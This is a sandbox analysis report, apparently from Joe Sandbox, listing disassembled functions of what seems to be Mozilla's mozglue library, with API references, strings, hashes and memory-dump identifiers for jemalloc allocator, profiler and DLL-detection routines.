String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(!aArena || arena == aArena)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 3040639385-4173974723
Opcode ID: 0110062b842894c3054e034e9764891d6d5c42babbe61045ede0836c689ce1a1
Instruction ID: ee184e266e5a633bb6b8285f9655a7a36ec9a2c6b824ebc70682003e8ed1328d
Opcode Fuzzy Hash: 0110062b842894c3054e034e9764891d6d5c42babbe61045ede0836c689ce1a1
Instruction Fuzzy Hash: 32539F71A097018FC704CF2DC580615FBE1BF8A329F29C66DE86A9BB91D771E841CB85

Function 6C6334A0 Relevance: 61.0, APIs: 33, Strings: 1, Instructions: 1467COMMON

Download Yara Rule

APIs

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C633527
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C63355B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6335BC
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6335E0
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C63363A
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C633693
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6336CD
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C633703
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C63373C
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C633775
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C63378F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C633892
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6338BB
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C633902
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C633939
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C633970
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6339EF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C633A26
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C633AE5
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C633E85
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C633EBA
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C633EE2

Part of subcall function 6C636180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000024), ref: 6C6361DD
Part of subcall function 6C636180: memcpy.VCRUNTIME140(00000000,00000024,-00000070), ref: 6C63622C

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6340F9
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C63412F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C634157

Part of subcall function 6C636180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6C636250
Part of subcall function 6C636180: free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C636292

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C63441B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C634448
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C63484E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C634863
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C634878
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C634896
free.MOZGLUE ref: 6C63489F

Strings

, xrefs: 6C634CD2

Memory Dump Source

Source File: 00000000.00000002.2500019951.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2499997792.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500082176.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500106913.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500129482.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_NJna3TEAEr.jbxd

Similarity

API ID: floor$free$malloc$memcpy
String ID:
API String ID: 3842999660-3916222277
Opcode ID: 7c779dac480657b61ee80bffdef7da0ac84d77fe5fe14804dd9622b130562c92
Instruction ID: 2ca07b900b94d151ac8b36b786330af89ac69a530e645b770ee4edcab2a2f014
Opcode Fuzzy Hash: 7c779dac480657b61ee80bffdef7da0ac84d77fe5fe14804dd9622b130562c92
Instruction Fuzzy Hash: ECF24D74908780CFC725CF29C08469AFBF1FF8A318F119A5ED98997711DB729886CB46

Function 6C5E64C0 Relevance: 52.9, APIs: 24, Strings: 6, Instructions: 406memoryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(detoured.dll), ref: 6C5E64DF
GetModuleHandleW.KERNEL32(_etoured.dll), ref: 6C5E64F2
GetModuleHandleW.KERNEL32(nvd3d9wrap.dll), ref: 6C5E6505
GetModuleHandleW.KERNEL32(nvdxgiwrap.dll), ref: 6C5E6518
GetModuleHandleW.KERNEL32(user32.dll), ref: 6C5E652B
memcpy.VCRUNTIME140(?,?,?), ref: 6C5E671C
GetCurrentProcess.KERNEL32 ref: 6C5E6724
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6C5E672F
GetCurrentProcess.KERNEL32 ref: 6C5E6759
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6C5E6764
VirtualProtect.KERNEL32(?,00000000,?,?), ref: 6C5E6A80
GetSystemInfo.KERNEL32(?), ref: 6C5E6ABE
__Init_thread_footer.LIBCMT ref: 6C5E6AD3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C5E6AE8
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C5E6AF7

Strings

nvd3d9wrap.dll, xrefs: 6C5E6500
_etoured.dll, xrefs: 6C5E64ED
detoured.dll, xrefs: 6C5E64DA
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows, xrefs: 6C5E6798
nvdxgiwrap.dll, xrefs: 6C5E6513
user32.dll, xrefs: 6C5E6526

Memory Dump Source

Source File: 00000000.00000002.2500019951.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2499997792.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500082176.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500106913.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500129482.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_NJna3TEAEr.jbxd

Similarity

API ID: HandleModule$CacheCurrentFlushInstructionProcessfree$InfoInit_thread_footerProtectSystemVirtualmemcpy
String ID: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows$_etoured.dll$detoured.dll$nvd3d9wrap.dll$nvdxgiwrap.dll$user32.dll
API String ID: 487479824-2878602165
Opcode ID: 3287ef0bfc511b62b00645a123dacb1e129d7f0869cecde30c2fa86dd2ecd323
Instruction ID: 5a6936e4d8cb3ca31897ef3904865142b16ceaff693a3e30c1573fef4d843559
Opcode Fuzzy Hash: 3287ef0bfc511b62b00645a123dacb1e129d7f0869cecde30c2fa86dd2ecd323
Instruction Fuzzy Hash: 5CF1E170A0532D9FCB20CF25CC88B9AB7B5AF4A358F144299D909E3641DB31AA85CF95

Function 6C63C4A0 Relevance: 35.2, APIs: 26, Instructions: 2665COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C63C5F9
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C63C6FB
memset.VCRUNTIME140(?,00000000,00004008), ref: 6C63C74D
memset.VCRUNTIME140(?,00000000,00004008), ref: 6C63C7DE
memset.VCRUNTIME140(?,00000000,00004014), ref: 6C63C9D5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C63CC76
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C63CD7A
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C63DB40
memcpy.VCRUNTIME140(?,?,?), ref: 6C63DB62
memcpy.VCRUNTIME140(?,?,?), ref: 6C63DB99
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C63DD8B
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C63DE95
memcpy.VCRUNTIME140(?,?,?), ref: 6C63E360
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C63E432
memcpy.VCRUNTIME140(?,?,?), ref: 6C63E472

Memory Dump Source

Source File: 00000000.00000002.2500019951.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2499997792.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500082176.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500106913.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500129482.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_NJna3TEAEr.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction ID: afca64c4bdea6fc73b57fb5fb823ed0553cb6b6917037302d1d58f0eec1ebd43
Opcode Fuzzy Hash: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction Fuzzy Hash: DD33CF71E0022ACFCB04CFA8C8806EDBBF2FF49314F189269D959AB755D731A945CB94

Function 6C5FED10 Relevance: 32.4, APIs: 16, Strings: 2, Instructions: 5407COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00010030), ref: 6C5FEE7A
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6C5FEFB5
memcpy.VCRUNTIME140(?,?,?,?), ref: 6C601695
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C6016B4
memset.VCRUNTIME140(00000002,000000FF,?,?), ref: 6C601770
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C601A3E

Strings

~q]l, xrefs: 6C5FED13
~q]l, xrefs: 6C5FED10

Memory Dump Source

Source File: 00000000.00000002.2500019951.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2499997792.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500082176.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500106913.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500129482.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_NJna3TEAEr.jbxd

Similarity

API ID: memset$freemallocmemcpy
String ID: ~q]l$~q]l
API String ID: 3693777188-572885207
Opcode ID: 5c30f5ec3e0e31607ad2905df51b0f446b009c4263dd9b69b54ec58948e2eda1
Instruction ID: 490b7f4ec8ef2344de215da5526bf77e589b21f5abc4291a017a689732cb0b22
Opcode Fuzzy Hash: 5c30f5ec3e0e31607ad2905df51b0f446b009c4263dd9b69b54ec58948e2eda1
Instruction Fuzzy Hash: 50B32971E002198FCB18CFA8C990A9DB7B2BF49308F1582A9D559BB745D730AD86CF94

Function 6C5EFD00 Relevance: 31.4, APIs: 17, Strings: 3, Instructions: 1360memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C65E7B8), ref: 6C5EFF81
LeaveCriticalSection.KERNEL32(6C65E7B8), ref: 6C5F022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6C5F0240
EnterCriticalSection.KERNEL32(6C65E768), ref: 6C5F025B
LeaveCriticalSection.KERNEL32(6C65E768), ref: 6C5F027B

Strings

: (malloc) Error in VirtualFree(), xrefs: 6C5F0D67, 6C5F0D7B, 6C5F0DAC
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C5EFE99, 6C5EFEB7, 6C5EFED3, 6C5F0DB8, 6C5F0DD3, 6C5F19B4
<jemalloc>, xrefs: 6C5F0D62, 6C5F0D76, 6C5F0DA7

Memory Dump Source

Source File: 00000000.00000002.2500019951.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2499997792.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500082176.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500106913.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500129482.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_NJna3TEAEr.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3577267516
Opcode ID: e4b8aed1b2c8ba6589150c7769a132b10113f4e096c4e4c4f7513a6046e24a51
Instruction ID: ca15ead7abdd591184ef5524d835f91c69616188835377c7c7add84086b4d2d2
Opcode Fuzzy Hash: e4b8aed1b2c8ba6589150c7769a132b10113f4e096c4e4c4f7513a6046e24a51
Instruction Fuzzy Hash: D1C28C71A057418FD718CF29C980716BBE1AFC5328F28CA6DE4B98B795D771E802CB85

Function 6C613E50 Relevance: 28.8, APIs: 13, Strings: 3, Instructions: 765COMMON

Download Yara Rule

APIs

Part of subcall function 6C637770: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(}>al,?,?,?,6C613E7D,?,?), ref: 6C63777C

tolower.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000), ref: 6C613F17
memset.VCRUNTIME140(?,00000000,00000110), ref: 6C613F5C
VerSetConditionMask.NTDLL ref: 6C613F8D
VerSetConditionMask.NTDLL ref: 6C613F99
VerSetConditionMask.NTDLL ref: 6C613FA0
VerSetConditionMask.NTDLL ref: 6C613FA7
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6C613FB4

Strings

nvd3d9wrap.dll, xrefs: 6C614466
C>al, xrefs: 6C613E93
nvinit.dll, xrefs: 6C614479

Memory Dump Source

Source File: 00000000.00000002.2500019951.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2499997792.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500082176.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500106913.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500129482.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_NJna3TEAEr.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemsettolowerwcslen
String ID: C>al$nvd3d9wrap.dll$nvinit.dll
API String ID: 1189858803-358638614
Opcode ID: 188e91e0ab3441ebac06793a2a27b882dfabce8fa8eb588c5cf5d77dcd7f1047
Instruction ID: a3de35e142da3a604f3ed5cacf9f78f510855dbfe2d9b4d0851cf0d908416adb
Opcode Fuzzy Hash: 188e91e0ab3441ebac06793a2a27b882dfabce8fa8eb588c5cf5d77dcd7f1047
Instruction Fuzzy Hash: 36521471A14B458FD714DF34C880ABB77E9AF89308F54892DD5928BB82CB74F909CB64

Function 6C5EFEF0 Relevance: 23.8, APIs: 13, Strings: 2, Instructions: 1294memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C65E7B8), ref: 6C5EFF81
LeaveCriticalSection.KERNEL32(6C65E7B8), ref: 6C5F022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6C5F0240
EnterCriticalSection.KERNEL32(6C65E768), ref: 6C5F025B
LeaveCriticalSection.KERNEL32(6C65E768), ref: 6C5F027B

Strings

MOZ_CRASH(), xrefs: 6C5F0CA7
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C5EFE99, 6C5EFEB7, 6C5EFED3, 6C5F0DB8, 6C5F0DD3, 6C5F19B4, 6C5F1A10

Memory Dump Source

Source File: 00000000.00000002.2500019951.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2499997792.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500082176.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500106913.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500129482.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_NJna3TEAEr.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3566792288
Opcode ID: 54afef7c923a436abf2e3214bf2ae0c9cc941ec08ffcc7981788af6a3610c2d7
Instruction ID: 7cac66750ce00e5db87a4f48346f3dca5300bc40a37f1804b7c3cb3584cba78f
Opcode Fuzzy Hash: 54afef7c923a436abf2e3214bf2ae0c9cc941ec08ffcc7981788af6a3610c2d7
Instruction Fuzzy Hash: C9B2AC716057418FD718CF29C990716BBE1AF85328F28CA6DE87A8B795D770E842CF81

Function 6C625600 Relevance: 22.0, APIs: 6, Strings: 6, Instructions: 950COMMON

Download Yara Rule

Strings

expected a Time entry, xrefs: 6C625CB6
expected a Count entry, xrefs: 6C625AC3
data, xrefs: 6C626131
ProfileBuffer parse error: %s, xrefs: 6C625AC8, 6C625CBB
schema, xrefs: 6C62606D
name, xrefs: 6C625E79, 6C625E8F

Memory Dump Source

Source File: 00000000.00000002.2500019951.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2499997792.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500082176.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500106913.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500129482.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_NJna3TEAEr.jbxd

Similarity

API ID:
String ID: ProfileBuffer parse error: %s$data$expected a Count entry$expected a Time entry$name$schema
API String ID: 0-2712937348
Opcode ID: dc85d256d6fa40f593e5d1e1fea29abefa4784976a53fc30cac6017f9c889bfd
Instruction ID: 64ba37ac68637a1cd3114096b1dc6f4ae59c820857f686467cde4e1ea25402cb
Opcode Fuzzy Hash: dc85d256d6fa40f593e5d1e1fea29abefa4784976a53fc30cac6017f9c889bfd
Instruction Fuzzy Hash: 99924B71A083418FD724CF28C490B9ABBE1BFC9308F54891DE59A9B755DB34E809CF96

Function 6C622E4E Relevance: 19.8, APIs: 8, Strings: 3, Instructions: 579stringCOMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE(?,?), ref: 6C622ED3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C622EE7
MozFormatCodeAddressDetails.MOZGLUE(?,000000FF,00000000,?,?), ref: 6C622F0D
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C623214
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C623242
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C6236BF

Strings

MOZ_PROFILER_SYMBOLICATE, xrefs: 6C62378D
get , xrefs: 6C623205
set , xrefs: 6C6236EC

Memory Dump Source

Source File: 00000000.00000002.2500019951.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2499997792.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500082176.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500106913.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500129482.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_NJna3TEAEr.jbxd

Similarity

API ID: strlen$AddressCode$DescribeDetailsFormat
String ID: MOZ_PROFILER_SYMBOLICATE$get $set
API String ID: 2257098003-3318126862
Opcode ID: 3c03de85279720356142e8d1ee689b4b8b4d0c75f7ef6068e95006ae894188d2
Instruction ID: 2bbaf9ac8611a2166b674b50ad27c7d967be9376fb0d356d859332d621596b8c
Opcode Fuzzy Hash: 3c03de85279720356142e8d1ee689b4b8b4d0c75f7ef6068e95006ae894188d2
Instruction Fuzzy Hash: A8325D706083818FD324CF24C4906AEBBE6AFC9318F54882DE5D987751DB35E94ACF5A

Function 6C617E10 Relevance: 19.7, APIs: 6, Strings: 5, Instructions: 403COMMON

Download Yara Rule

Strings

data, xrefs: 6C618280, 6C6183E1
schema, xrefs: 6C6181E3, 6C618311
(pre-xul), xrefs: 6C617E88
name, xrefs: 6C617ECF, 6C618335
vel, xrefs: 6C618207

Memory Dump Source

Source File: 00000000.00000002.2500019951.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2499997792.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500082176.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500106913.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500129482.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_NJna3TEAEr.jbxd

Similarity

API ID: memcpystrlen
String ID: (pre-xul)$data$name$schema$vel
API String ID: 3412268980-2347612338
Opcode ID: 70a89d2acef4b725469917207133d599f6a679d77923e29b81dc7b7afd530879
Instruction ID: a2dee28258ce405f9d142ab598cae22243b18a40ed064ca2247ca7ee193780bb
Opcode Fuzzy Hash: 70a89d2acef4b725469917207133d599f6a679d77923e29b81dc7b7afd530879
Instruction Fuzzy Hash: A3E18EB1A043408BC710CF68C84065BFBEABFD9318F558A2DE899D7790DBB0DD498B95

Function 6C5F5E90 Relevance: 19.2, APIs: 5, Strings: 6, Instructions: 2651COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(-0000000C), ref: 6C5F5EDB
memset.VCRUNTIME140(ewcl,000000E5,?), ref: 6C5F5F27
LeaveCriticalSection.KERNEL32(?), ref: 6C5F5FB2
memset.VCRUNTIME140(ewcl,000000E5,?), ref: 6C5F61F0
VirtualFree.KERNEL32(-00000001,00100000,00004000), ref: 6C5F7652

Strings

MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C5F730D
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C5F72F8
MOZ_CRASH(), xrefs: 6C5F7BA4
ewcl, xrefs: 6C5F5E9C, 6C5F5F22, 6C5F61ED
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C5F72E3
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C5F7BCD, 6C5F7C1F, 6C5F7C34, 6C5F80FD

Memory Dump Source

Source File: 00000000.00000002.2500019951.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2499997792.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500082176.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500106913.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500129482.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_NJna3TEAEr.jbxd

Similarity

API ID: CriticalSectionmemset$EnterFreeLeaveVirtual
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)$ewcl
API String ID: 2613674957-3907735712
Opcode ID: f5ce22cf505a7429fec9a3e65efe89fbf5c0404e97cb9b90d98344c79bb2d07f
Instruction ID: 49c2772cc89f3f6c2ef2451e7c4258f5a784cb1be34daf2a0bb4fd035183f610
Opcode Fuzzy Hash: f5ce22cf505a7429fec9a3e65efe89fbf5c0404e97cb9b90d98344c79bb2d07f
Instruction Fuzzy Hash: ED337B716067018FD308CF29C990615BBE2BF85328F29C6ADE9798B7A5D771E842CF41

Function 6C5FD4D0 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 251COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C65E784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C60D1C5), ref: 6C5FD4F2
LeaveCriticalSection.KERNEL32(6C65E784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C60D1C5), ref: 6C5FD50B

Part of subcall function 6C5DCFE0: EnterCriticalSection.KERNEL32(6C65E784), ref: 6C5DCFF6
Part of subcall function 6C5DCFE0: LeaveCriticalSection.KERNEL32(6C65E784), ref: 6C5DD026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C60D1C5), ref: 6C5FD52E
EnterCriticalSection.KERNEL32(6C65E7DC), ref: 6C5FD690
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C5FD6A6
LeaveCriticalSection.KERNEL32(6C65E7DC), ref: 6C5FD712
LeaveCriticalSection.KERNEL32(6C65E784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C60D1C5), ref: 6C5FD751
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C5FD7EA

Strings

: (malloc) Error initializing arena, xrefs: 6C5FD82C
<jemalloc>, xrefs: 6C5FD827

Memory Dump Source

Source File: 00000000.00000002.2500019951.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2499997792.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500082176.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500106913.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2500129482.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_NJna3TEAEr.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$K@1@Maybe@_RandomUint64@mozilla@@$CountInitializeSpin
String ID: : (malloc) Error initializing arena$<jemalloc>
API String ID: 2690322072-3894294050
Opcode ID: 959b063e13700530899164c9e8296891fead730d966f4d517184c7aae98a2f76
Instruction ID: adab83503d4f534160065a0d6c0466094fafa7585ceb02c8e15dfb06983f35d6
Opcode Fuzzy Hash: 959b063e13700530899164c9e8296891fead730d966f4d517184c7aae98a2f76
Instruction Fuzzy Hash: B991E671A057018FDB18CF29C89072AB7E1FB89314F65492EE56AC7B81D734E846CF86

Function 6C634EA0 Relevance: 16.2, APIs: 8, Strings: 1, Instructions: 408sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(000007D0), ref: 6C634EFF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C634F2E
moz_xmalloc.MOZGLUE ref: 6C634F52
memset.VCRUNTIME140(00000000,00000000), ref: 6C634F62
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6352B2
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6352E6
Sleep.KERNEL32(00000010), ref: 6C635481
free.MOZGLUE(?), ref: 6C635498

Strings

(, xrefs: 6C635250

Memory Dump Source

Source File: 00000000.00000002.2500019951.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

